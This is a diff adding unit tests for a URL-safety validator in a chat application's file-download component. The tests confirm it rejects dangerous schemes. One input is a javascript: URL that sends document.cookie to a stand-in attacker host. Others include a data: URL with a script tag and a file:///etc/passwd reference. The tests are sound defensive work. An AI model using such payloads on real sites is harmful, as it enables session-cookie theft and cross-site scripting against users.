|
| 1 | +/** |
| 2 | + * @vitest-environment jsdom |
| 3 | + */ |
| 4 | +import { describe, expect, it, vi } from 'vitest' |
| 5 | + |
| 6 | +vi.mock('@/components/emcn', () => ({ |
| 7 | + Button: () => null, |
| 8 | + Download: () => null, |
| 9 | + Loader: () => null, |
| 10 | +})) |
| 11 | + |
| 12 | +vi.mock('@/components/icons/document-icons', () => ({ |
| 13 | + DefaultFileIcon: () => null, |
| 14 | + getDocumentIcon: () => () => null, |
| 15 | +})) |
| 16 | + |
| 17 | +vi.mock('@/lib/core/config/env', () => ({ |
| 18 | + env: {}, |
| 19 | + getEnv: vi.fn(), |
| 20 | +})) |
| 21 | + |
| 22 | +vi.mock('@/lib/core/config/feature-flags', () => ({ |
| 23 | + isProd: false, |
| 24 | +})) |
| 25 | + |
| 26 | +import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download' |
| 27 | + |
| 28 | +describe('isSafeHttpUrl', () => { |
| 29 | + it('allows absolute http(s) URLs', () => { |
| 30 | + expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) |
| 31 | + expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) |
| 32 | + }) |
| 33 | + |
| 34 | + it('allows same-origin relative URLs (resolved against the browser origin)', () => { |
| 35 | + expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) |
| 36 | + }) |
| 37 | + |
| 38 | + it('rejects javascript: URLs', () => { |
| 39 | + expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) |
| 40 | + expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) |
| 41 | + }) |
| 42 | + |
| 43 | + it('rejects other script-capable or non-navigable schemes', () => { |
| 44 | + expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false) |
| 45 | + expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) |
| 46 | + expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) |
| 47 | + expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) |
| 48 | + }) |
| 49 | + |
| 50 | + it('treats relative junk as same-origin http (safe) rather than throwing', () => { |
| 51 | + expect(isSafeHttpUrl('')).toBe(true) |
| 52 | + expect(isSafeHttpUrl('not a url')).toBe(true) |
| 53 | + }) |
| 54 | + |
| 55 | + it('rejects unparseable absolute input without throwing', () => { |
| 56 | + expect(isSafeHttpUrl('http://')).toBe(false) |
| 57 | + }) |
| 58 | +}) |
0 commit comments